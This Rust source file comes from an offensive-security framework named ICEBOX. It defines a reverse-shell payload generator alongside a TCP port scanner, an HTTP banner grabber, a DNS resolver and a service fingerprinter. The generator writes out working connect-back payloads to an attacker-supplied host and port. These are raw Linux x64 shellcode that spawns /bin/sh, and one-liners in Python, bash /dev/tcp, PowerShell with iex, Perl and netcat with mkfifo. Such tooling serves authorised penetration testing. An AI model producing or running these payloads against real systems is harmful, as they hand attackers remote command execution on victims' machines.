Skip to main content

icebox/modules/
mod.rs

1use crate::core::module::{Module, ModuleEntry, ModuleError, ModuleResult};
2use async_trait::async_trait;
3use base64::engine::general_purpose::STANDARD;
4use base64::Engine;
5use icebox_macro::module;
6use std::sync::Mutex;
7
8pub mod network_scanners;
9pub mod recon_scanners;
10pub mod vuln_scanner;
11
12static DYNAMIC: Mutex<Vec<ModuleEntry>> = Mutex::new(Vec::new());
13
14pub fn register_dynamic(entry: ModuleEntry) {
15    let mut guard = match DYNAMIC.lock() {
16        Ok(g) => g,
17        Err(poisoned) => poisoned.into_inner(),
18    };
19    guard.push(entry);
20}
21
22pub fn discover() -> Vec<ModuleEntry> {
23    let mut all: Vec<ModuleEntry> = crate::MODULE_REGISTRY.iter().copied().collect();
24    let guard = match DYNAMIC.lock() {
25        Ok(g) => g,
26        Err(poisoned) => poisoned.into_inner(),
27    };
28    all.extend(guard.iter().copied());
29    all
30}
31
32pub fn load(name: &str) -> Option<crate::core::module::LoadedModule> {
33    discover()
34        .into_iter()
35        .find(|e| (e.info)().name == name)
36        .map(|e| crate::core::module::LoadedModule {
37            info: (e.info)(),
38            module: (e.make)(),
39        })
40}
41
42fn generate_linux_x64_shellcode(lhost: &str, lport: u16) -> Result<Vec<u8>, ModuleError> {
43    let mut sc = Vec::new();
44    sc.extend_from_slice(&[
45        0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05,
46    ]);
47    sc.extend_from_slice(&[0x48, 0x97]);
48    sc.extend_from_slice(&[0x4d, 0x31, 0xd2, 0x41, 0x52]);
49    sc.extend_from_slice(&[0x48, 0xb9]);
50    sc.extend_from_slice(&[0x02, 0x00]);
51    sc.extend_from_slice(&lport.to_be_bytes());
52    sc.extend_from_slice(
53        &lhost
54            .parse::<std::net::Ipv4Addr>()
55            .map_err(|_| ModuleError::Other(format!("invalid IPv4: {lhost}")))?
56            .octets(),
57    );
58    sc.push(0x51);
59    sc.extend_from_slice(&[
60        0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05,
61    ]);
62    sc.extend_from_slice(&[0x6a, 0x03, 0x5e]);
63    sc.extend_from_slice(&[0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6]);
64    sc.extend_from_slice(&[0x48, 0x31, 0xd2, 0x52]);
65    sc.extend_from_slice(&[0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68]);
66    sc.extend_from_slice(&[0x53, 0x48, 0x89, 0xe7]);
67    sc.extend_from_slice(&[0x52, 0x57, 0x48, 0x89, 0xe6]);
68    sc.extend_from_slice(&[0xb0, 0x3b, 0x0f, 0x05]);
69    Ok(sc)
70}
71
72fn generate_python_shell(lhost: &str, lport: u16) -> String {
73    format!(
74        r#"import socket,subprocess,os,pty
75s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
76s.connect(("{lhost}",{lport}))
77os.dup2(s.fileno(),0)
78os.dup2(s.fileno(),1)
79os.dup2(s.fileno(),2)
80import pty; pty.spawn("/bin/sh")
81"#,
82    )
83}
84
85fn generate_bash_shell(lhost: &str, lport: u16) -> String {
86    format!("bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'")
87}
88
89fn generate_powershell_shell(lhost: &str, lport: u16) -> String {
90    format!(
91        r#"$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport});
92$stream = $client.GetStream();
93[byte[]]$bytes = 0..65535|%{{0}};
94while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{
95    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
96    $sendback = (iex $data 2>&1 | Out-String );
97    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
98    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
99    $stream.Write($sendbyte,0,$sendbyte.Length);
100    $stream.Flush()
101}};
102$client.Close()
103"#,
104    )
105}
106
107fn generate_perl_shell(lhost: &str, lport: u16) -> String {
108    format!(
109        "perl -e 'use Socket;$i=\"{lhost}\";$p={lport};\n\
110socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));\n\
111if(connect(S,sockaddr_in($p,inet_aton($i)))){{\n\
112    open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");\n\
113    exec(\"/bin/sh -i\");\n\
114}}'"
115    )
116}
117fn generate_nc_shell(lhost: &str, lport: u16) -> String {
118    format!("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
119}
120
121#[module(
122    name = "reverse_shell_generator",
123    kind = "Payload",
124    description = "Multi-format reverse shell payload generator (shellcode + one-liners)",
125    author = "ICEBOX"
126)]
127pub struct ReverseShell {
128    #[option(required = true, help = "LHOST for callback (IP address)")]
129    pub lhost: String,
130    #[option(required = true, help = "LPORT for callback")]
131    pub lport: u16,
132    #[option(help = "Payload format: shellcode,python,bash,powershell,perl,nc,all (default: all)")]
133    pub format: String,
134}
135
136#[async_trait]
137impl Module for ReverseShell {
138    fn options_json(&self) -> serde_json::Value {
139        serde_json::to_value(&ReverseShellOptions {
140            lhost: self.lhost.clone(),
141            lport: self.lport,
142            format: self.format.clone(),
143        })
144        .unwrap_or(serde_json::Value::Null)
145    }
146
147    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
148        let mut o = ReverseShellOptions {
149            lhost: self.lhost.clone(),
150            lport: self.lport,
151            format: self.format.clone(),
152        };
153        o.set(name, value)?;
154        self.lhost = o.lhost;
155        self.lport = o.lport;
156        self.format = o.format;
157        Ok(())
158    }
159
160    fn validate(&self) -> Result<(), ModuleError> {
161        ReverseShellOptions {
162            lhost: self.lhost.clone(),
163            lport: self.lport,
164            format: self.format.clone(),
165        }
166        .validate()?;
167        self.lhost
168            .parse::<std::net::Ipv4Addr>()
169            .map_err(|_| ModuleError::Other(format!("invalid IPv4 address: {}", self.lhost)))?;
170        Ok(())
171    }
172
173    async fn run(&self) -> Result<ModuleResult, ModuleError> {
174        let lhost = self.lhost.trim().to_string();
175        let lport = self.lport;
176        let want =
177            |f: &str| self.format.is_empty() || self.format == "all" || self.format.contains(f);
178
179        let mut payloads = serde_json::Map::new();
180        let mut evidence = Vec::new();
181
182        if want("shellcode") {
183            match generate_linux_x64_shellcode(&lhost, lport) {
184                Ok(shellcode) => {
185                    let hex = shellcode
186                        .iter()
187                        .map(|b| format!("\\x{b:02x}"))
188                        .collect::<String>();
189                    let b64 = base64_encode(&shellcode);
190                    let c_array = shellcode
191                        .iter()
192                        .map(|b| format!("0x{b:02x}"))
193                        .collect::<Vec<_>>()
194                        .join(", ");
195                    let c_code =
196                        format!("unsigned char buf[] = {{ {c_array} }};\nint len = sizeof(buf);\n");
197                    payloads.insert(
198                        "linux_x64_shellcode".into(),
199                        serde_json::json!({
200                            "hex": hex,
201                            "base64": b64,
202                            "c_code": c_code,
203                            "raw_len": shellcode.len(),
204                        }),
205                    );
206                    evidence.push(format!("payload/shellcode ({} bytes)", shellcode.len()));
207                }
208                Err(e) => {
209                    payloads.insert(
210                        "linux_x64_shellcode_error".into(),
211                        serde_json::json!(e.to_string()),
212                    );
213                }
214            }
215        }
216
217        if want("python") {
218            let py = generate_python_shell(&lhost, lport);
219            payloads.insert("python".into(), serde_json::json!(py));
220            evidence.push("payload/python".into());
221        }
222
223        if want("bash") {
224            let sh = generate_bash_shell(&lhost, lport);
225            payloads.insert("bash".into(), serde_json::json!(sh));
226            evidence.push("payload/bash".into());
227        }
228
229        if want("powershell") {
230            let ps = generate_powershell_shell(&lhost, lport);
231            payloads.insert("powershell".into(), serde_json::json!(ps));
232            evidence.push("payload/powershell".into());
233        }
234
235        if want("perl") {
236            let pl = generate_perl_shell(&lhost, lport);
237            payloads.insert("perl".into(), serde_json::json!(pl));
238            evidence.push("payload/perl".into());
239        }
240
241        if want("nc") {
242            let nc = generate_nc_shell(&lhost, lport);
243            payloads.insert("netcat".into(), serde_json::json!(nc));
244            evidence.push("payload/netcat".into());
245        }
246
247        let count = payloads.len();
248        Ok(ModuleResult {
249            success: true,
250            session_id: Some(format!("session:{lhost}:{lport}")),
251            finding: Some(format!(
252                "Generated {count} payload format(s) for LHOST={lhost} LPORT={lport}"
253            )),
254            evidence,
255            data: serde_json::json!({
256                "lhost": lhost,
257                "lport": lport,
258                "formats": self.format,
259                "payloads": payloads,
260                "count": count,
261            }),
262            ..Default::default()
263        })
264    }
265}
266
267fn base64_encode(data: &[u8]) -> String {
268    STANDARD.encode(data)
269}
270
271pub(crate) fn hex_encode(data: &[u8]) -> String {
272    hex::encode(data)
273}
274
275#[module(
276    name = "tcp_port_scanner",
277    kind = "Scanner",
278    description = "TCP connect port scanner",
279    author = "ICEBOX"
280)]
281pub struct TcpPortScanner {
282    #[option(required = true, help = "Target IP or hostname")]
283    pub host: String,
284    #[option(required = true, help = "Ports to scan (e.g. 1-1024 or 22,80,443)")]
285    pub ports: String,
286    #[option(help = "Timeout per port in milliseconds (default 1000)")]
287    pub timeout_ms: u64,
288}
289
290impl TcpPortScanner {
291    fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
292        let mut ports = Vec::new();
293        for part in spec.split(',') {
294            let part = part.trim();
295            if part.is_empty() {
296                continue;
297            }
298            if let Some((lo, hi)) = part.split_once('-') {
299                let lo: u16 = lo
300                    .trim()
301                    .parse()
302                    .map_err(|_| ModuleError::Parse(format!("bad range lower: {lo}")))?;
303                let hi: u16 = hi
304                    .trim()
305                    .parse()
306                    .map_err(|_| ModuleError::Parse(format!("bad range upper: {hi}")))?;
307                if lo > hi {
308                    return Err(ModuleError::Parse(format!("range {lo} > {hi}")));
309                }
310                for p in lo..=hi {
311                    ports.push(p);
312                }
313            } else {
314                let p: u16 = part
315                    .parse()
316                    .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
317                ports.push(p);
318            }
319        }
320        if ports.is_empty() {
321            return Err(ModuleError::Other("no ports specified".into()));
322        }
323        Ok(ports)
324    }
325}
326
327#[async_trait]
328impl Module for TcpPortScanner {
329    fn options_json(&self) -> serde_json::Value {
330        serde_json::to_value(&TcpPortScannerOptions {
331            host: self.host.clone(),
332            ports: self.ports.clone(),
333            timeout_ms: self.timeout_ms,
334        })
335        .unwrap_or(serde_json::Value::Null)
336    }
337
338    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
339        let mut o = TcpPortScannerOptions {
340            host: self.host.clone(),
341            ports: self.ports.clone(),
342            timeout_ms: self.timeout_ms,
343        };
344        o.set(name, value)?;
345        self.host = o.host;
346        self.ports = o.ports;
347        self.timeout_ms = o.timeout_ms;
348        Ok(())
349    }
350
351    fn validate(&self) -> Result<(), ModuleError> {
352        TcpPortScannerOptions {
353            host: self.host.clone(),
354            ports: self.ports.clone(),
355            timeout_ms: self.timeout_ms,
356        }
357        .validate()?;
358        Self::resolve_ports(&self.ports).map(|_| ())
359    }
360
361    async fn run(&self) -> Result<ModuleResult, ModuleError> {
362        let ports = Self::resolve_ports(&self.ports)?;
363        let timeout = if self.timeout_ms > 0 {
364            std::time::Duration::from_millis(self.timeout_ms)
365        } else {
366            std::time::Duration::from_secs(1)
367        };
368        let host = self.host.clone();
369        let concurrency = 100usize;
370        let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
371
372        let mut handles = Vec::new();
373        for port in ports {
374            let permit = semaphore
375                .clone()
376                .acquire_owned()
377                .await
378                .map_err(|e| ModuleError::Other(e.to_string()))?;
379            let h = host.clone();
380            handles.push(tokio::spawn(async move {
381                let _permit = permit;
382                let addr = crate::core::proxy::resolve_dial(&h, port);
383                match tokio::time::timeout(timeout, tokio::net::TcpStream::connect(&addr)).await {
384                    Ok(Ok(_)) => Some(port),
385                    _ => None,
386                }
387            }));
388        }
389
390        let mut open_ports: Vec<u16> = Vec::new();
391        for h in handles {
392            if let Ok(Some(port)) = h.await {
393                open_ports.push(port);
394            }
395        }
396        open_ports.sort();
397
398        let finding = if open_ports.is_empty() {
399            "No open ports found".to_string()
400        } else {
401            format!(
402                "Open ports: {}",
403                open_ports
404                    .iter()
405                    .map(|p| p.to_string())
406                    .collect::<Vec<_>>()
407                    .join(", ")
408            )
409        };
410
411        Ok(ModuleResult {
412            success: true,
413            finding: Some(finding),
414            evidence: open_ports.iter().map(|p| format!("tcp/{p}")).collect(),
415            data: serde_json::json!({
416                "host": self.host,
417                "open_ports": open_ports,
418            }),
419            ..Default::default()
420        })
421    }
422}
423
424#[module(
425    name = "http_probe",
426    kind = "Scanner",
427    description = "HTTP service banner grabber",
428    author = "ICEBOX"
429)]
430pub struct HttpProbe {
431    #[option(required = true, help = "Target IP or hostname")]
432    pub host: String,
433    #[option(
434        required = true,
435        help = "Ports to probe (comma-separated, e.g. 80,443,8080)"
436    )]
437    pub ports: String,
438    #[option(help = "Timeout per probe in milliseconds (default 3000)")]
439    pub timeout_ms: u64,
440}
441
442#[async_trait]
443impl Module for HttpProbe {
444    fn options_json(&self) -> serde_json::Value {
445        serde_json::to_value(&HttpProbeOptions {
446            host: self.host.clone(),
447            ports: self.ports.clone(),
448            timeout_ms: self.timeout_ms,
449        })
450        .unwrap_or(serde_json::Value::Null)
451    }
452
453    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
454        let mut o = HttpProbeOptions {
455            host: self.host.clone(),
456            ports: self.ports.clone(),
457            timeout_ms: self.timeout_ms,
458        };
459        o.set(name, value)?;
460        self.host = o.host;
461        self.ports = o.ports;
462        self.timeout_ms = o.timeout_ms;
463        Ok(())
464    }
465
466    fn validate(&self) -> Result<(), ModuleError> {
467        HttpProbeOptions {
468            host: self.host.clone(),
469            ports: self.ports.clone(),
470            timeout_ms: self.timeout_ms,
471        }
472        .validate()
473    }
474
475    async fn run(&self) -> Result<ModuleResult, ModuleError> {
476        let host = self.host.clone();
477        let timeout = if self.timeout_ms > 0 {
478            std::time::Duration::from_millis(self.timeout_ms)
479        } else {
480            std::time::Duration::from_secs(3)
481        };
482
483        let ports: Vec<&str> = self
484            .ports
485            .split(',')
486            .map(|s| s.trim())
487            .filter(|s| !s.is_empty())
488            .collect();
489        if ports.is_empty() {
490            return Err(ModuleError::Other("no ports specified".into()));
491        }
492
493        let concurrency = 20usize;
494        let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
495        let mut handles = Vec::new();
496        let request = b"GET / HTTP/1.0\r\nHost: placeholder\r\n\r\n";
497
498        for port_str in ports {
499            let port: u16 = port_str
500                .parse()
501                .map_err(|_| ModuleError::Parse(format!("bad port: {port_str}")))?;
502            let permit = semaphore
503                .clone()
504                .acquire_owned()
505                .await
506                .map_err(|e| ModuleError::Other(e.to_string()))?;
507            let h = host.clone();
508            let req = request.to_vec();
509            handles.push(tokio::spawn(async move {
510                let _permit = permit;
511                let addr = crate::core::proxy::resolve_dial(&h, port);
512                let stream = match tokio::time::timeout(
513                    timeout,
514                    tokio::net::TcpStream::connect(&addr),
515                )
516                .await
517                {
518                    Ok(Ok(s)) => s,
519                    _ => return None,
520                };
521                if tokio::time::timeout(timeout, stream.writable())
522                    .await
523                    .is_err()
524                {
525                    return None;
526                }
527                let _ = stream.try_write(&req);
528                let mut buf = vec![0u8; 4096];
529                let n = match tokio::time::timeout(timeout, stream.readable()).await {
530                    Ok(_) => stream.try_read(&mut buf).unwrap_or(0),
531                    _ => 0,
532                };
533                if n == 0 {
534                    return None;
535                }
536                let resp = String::from_utf8_lossy(&buf[..n.min(1024)]).to_string();
537                let first_line = resp.lines().next().unwrap_or("").to_string();
538                let server = resp
539                    .lines()
540                    .find(|l| l.to_ascii_lowercase().starts_with("server:"))
541                    .unwrap_or("")
542                    .to_string();
543                Some((port, first_line, server, resp.len()))
544            }));
545        }
546
547        let mut services: Vec<serde_json::Value> = Vec::new();
548        for h in handles {
549            if let Ok(Some((port, status, server, size))) = h.await {
550                services.push(serde_json::json!({
551                    "port": port,
552                    "status": status,
553                    "server": if server.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(server) },
554                    "response_size": size,
555                }));
556            }
557        }
558
559        if services.is_empty() {
560            return Ok(ModuleResult {
561                success: true,
562                finding: Some("No HTTP services detected on specified ports".into()),
563                evidence: Vec::new(),
564                data: serde_json::json!({ "host": self.host, "services": services }),
565                ..Default::default()
566            });
567        }
568
569        let banners: Vec<String> = services
570            .iter()
571            .map(|s| {
572                let port = s["port"].as_u64().unwrap_or(0);
573                let status = s["status"].as_str().unwrap_or("");
574                let server = s["server"].as_str().unwrap_or("");
575                format!("tcp/{port} {status} {server}")
576            })
577            .collect();
578
579        Ok(ModuleResult {
580            success: true,
581            finding: Some(format!("Detected {} HTTP services", services.len())),
582            evidence: banners,
583            data: serde_json::json!({
584                "host": self.host,
585                "services": services,
586            }),
587            ..Default::default()
588        })
589    }
590}
591
592#[module(
593    name = "dns_resolver",
594    kind = "Auxiliary",
595    description = "Resolve a hostname to IPv4/IPv6 addresses via system DNS",
596    author = "ICEBOX"
597)]
598pub struct DnsResolver {
599    #[option(required = true, help = "Hostname to resolve")]
600    pub hostname: String,
601}
602
603#[async_trait]
604impl Module for DnsResolver {
605    fn options_json(&self) -> serde_json::Value {
606        serde_json::to_value(&DnsResolverOptions {
607            hostname: self.hostname.clone(),
608        })
609        .unwrap_or(serde_json::Value::Null)
610    }
611
612    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
613        let mut o = DnsResolverOptions {
614            hostname: self.hostname.clone(),
615        };
616        o.set(name, value)?;
617        self.hostname = o.hostname;
618        Ok(())
619    }
620
621    fn validate(&self) -> Result<(), ModuleError> {
622        DnsResolverOptions {
623            hostname: self.hostname.clone(),
624        }
625        .validate()
626    }
627
628    async fn run(&self) -> Result<ModuleResult, ModuleError> {
629        let hostname = self.hostname.trim();
630        if hostname.is_empty() {
631            return Err(ModuleError::Other("hostname required".into()));
632        }
633        let addrs: Vec<std::net::IpAddr> = match tokio::net::lookup_host((hostname, 0)).await {
634            Ok(addrs) => addrs.map(|a| a.ip()).collect(),
635            Err(e) => {
636                return Ok(ModuleResult {
637                    success: false,
638                    finding: Some(format!("DNS resolution failed: {e}")),
639                    evidence: vec![format!("dns_error: {e}")],
640                    data: serde_json::json!({ "hostname": hostname, "error": e.to_string() }),
641                    ..Default::default()
642                });
643            }
644        };
645
646        let v4: Vec<String> = addrs
647            .iter()
648            .filter(|a| a.is_ipv4())
649            .map(|a| a.to_string())
650            .collect();
651        let v6: Vec<String> = addrs
652            .iter()
653            .filter(|a| a.is_ipv6())
654            .map(|a| a.to_string())
655            .collect();
656
657        let count = addrs.len();
658        let finding = if count == 0 {
659            "No DNS records found".into()
660        } else {
661            format!(
662                "Resolved {count} address(es): {}",
663                addrs
664                    .iter()
665                    .map(|a| a.to_string())
666                    .collect::<Vec<_>>()
667                    .join(", ")
668            )
669        };
670
671        Ok(ModuleResult {
672            success: count > 0,
673            finding: Some(finding),
674            evidence: addrs.iter().map(|a| format!("dns/{a}")).collect(),
675            data: serde_json::json!({
676                "hostname": hostname,
677                "ipv4": v4,
678                "ipv6": v6,
679                "addresses": addrs,
680            }),
681            ..Default::default()
682        })
683    }
684}
685
686#[module(
687    name = "service_fingerprinter",
688    kind = "Scanner",
689    description = "Identify services on open ports via protocol banner grabbing",
690    author = "ICEBOX"
691)]
692pub struct ServiceFingerprinter {
693    #[option(required = true, help = "Target IP or hostname")]
694    pub host: String,
695    #[option(required = true, help = "Ports to fingerprint (comma-separated)")]
696    pub ports: String,
697    #[option(help = "Timeout per probe in milliseconds (default 3000)")]
698    pub timeout_ms: u64,
699}
700
701impl ServiceFingerprinter {
702    fn resolve_ports(spec: &str) -> Result<Vec<u16>, ModuleError> {
703        let mut ports = Vec::new();
704        for part in spec.split(',') {
705            let p: u16 = part
706                .trim()
707                .parse()
708                .map_err(|_| ModuleError::Parse(format!("bad port: {part}")))?;
709            ports.push(p);
710        }
711        if ports.is_empty() {
712            return Err(ModuleError::Other("no ports specified".into()));
713        }
714        Ok(ports)
715    }
716
717    fn probe_for_port(port: u16) -> &'static [u8] {
718        match port {
719            21 => b"FEAT\r\n",
720            22 => b"",
721            23 => b"\r\n",
722            25 => b"EHLO probe\r\n",
723            53 => b"",
724            80 | 8080 | 8000 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
725            110 => b"",
726            111 => b"",
727            135 => b"",
728            139 => b"",
729            143 => b"a001 LOGOUT\r\n",
730            389 => b"",
731            443 => b"",
732            445 => b"",
733            993 => b"",
734            995 => b"",
735            3306 => b"",
736            3389 => b"",
737            5432 => b"",
738            6379 => b"",
739            8443 => b"GET / HTTP/1.0\r\nHost: localhost\r\n\r\n",
740            27017 => b"",
741            _ => b"",
742        }
743    }
744}
745
746#[async_trait]
747impl Module for ServiceFingerprinter {
748    fn options_json(&self) -> serde_json::Value {
749        serde_json::to_value(&ServiceFingerprinterOptions {
750            host: self.host.clone(),
751            ports: self.ports.clone(),
752            timeout_ms: self.timeout_ms,
753        })
754        .unwrap_or(serde_json::Value::Null)
755    }
756
757    fn set_option(&mut self, name: &str, value: &str) -> Result<(), ModuleError> {
758        let mut o = ServiceFingerprinterOptions {
759            host: self.host.clone(),
760            ports: self.ports.clone(),
761            timeout_ms: self.timeout_ms,
762        };
763        o.set(name, value)?;
764        self.host = o.host;
765        self.ports = o.ports;
766        self.timeout_ms = o.timeout_ms;
767        Ok(())
768    }
769
770    fn validate(&self) -> Result<(), ModuleError> {
771        ServiceFingerprinterOptions {
772            host: self.host.clone(),
773            ports: self.ports.clone(),
774            timeout_ms: self.timeout_ms,
775        }
776        .validate()
777    }
778
779    async fn run(&self) -> Result<ModuleResult, ModuleError> {
780        let ports = Self::resolve_ports(&self.ports)?;
781        let timeout = if self.timeout_ms > 0 {
782            std::time::Duration::from_millis(self.timeout_ms)
783        } else {
784            std::time::Duration::from_secs(3)
785        };
786        let host = self.host.clone();
787
788        let concurrency = 10usize;
789        let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
790
791        let mut handles = Vec::new();
792        for port in ports {
793            let permit = semaphore
794                .clone()
795                .acquire_owned()
796                .await
797                .map_err(|e| ModuleError::Other(e.to_string()))?;
798            let h = host.clone();
799            let probe = Self::probe_for_port(port).to_vec();
800            handles.push(tokio::spawn(async move {
801                let _permit = permit;
802                let addr = crate::core::proxy::resolve_dial(&h, port);
803                let stream = match tokio::time::timeout(
804                    timeout,
805                    tokio::net::TcpStream::connect(&addr),
806                )
807                .await
808                {
809                    Ok(Ok(s)) => s,
810                    _ => return None,
811                };
812                if !probe.is_empty() {
813                    let _ = stream.try_write(&probe);
814                }
815                let mut buf = vec![0u8; 4096];
816                let read_timeout = timeout.min(std::time::Duration::from_secs(1));
817                let n = match tokio::time::timeout(read_timeout, stream.readable()).await {
818                    Ok(Ok(_)) => stream.try_read(&mut buf).unwrap_or(0),
819                    _ => 0,
820                };
821                if n == 0 {
822                    return Some((port, "open".into(), String::new()));
823                }
824                let raw = &buf[..n.min(1024)];
825                let resp = String::from_utf8_lossy(raw).to_string();
826                let clean: Vec<&str> = resp.lines().filter(|l| !l.is_empty()).collect();
827                let banner = clean.join(" | ");
828                let summary = clean.first().unwrap_or(&"").to_string();
829                Some((port, summary, banner))
830            }));
831        }
832
833        let mut services: Vec<serde_json::Value> = Vec::new();
834        for h in handles {
835            if let Ok(Some((port, summary, banner))) = h.await {
836                services.push(serde_json::json!({
837                    "port": port,
838                    "summary": summary,
839                    "banner": if banner.is_empty() { serde_json::Value::Null } else { serde_json::Value::String(banner) },
840                }));
841            }
842        }
843
844        let evidence: Vec<String> = services
845            .iter()
846            .map(|s| {
847                let port = s["port"].as_u64().unwrap_or(0);
848                let summary = s["summary"].as_str().unwrap_or("");
849                format!("tcp/{port}: {summary}")
850            })
851            .collect();
852
853        Ok(ModuleResult {
854            success: true,
855            finding: Some(format!("Fingerprinted {} service(s)", services.len())),
856            evidence,
857            data: serde_json::json!({
858                "host": self.host,
859                "services": services,
860            }),
861            ..Default::default()
862        })
863    }
864}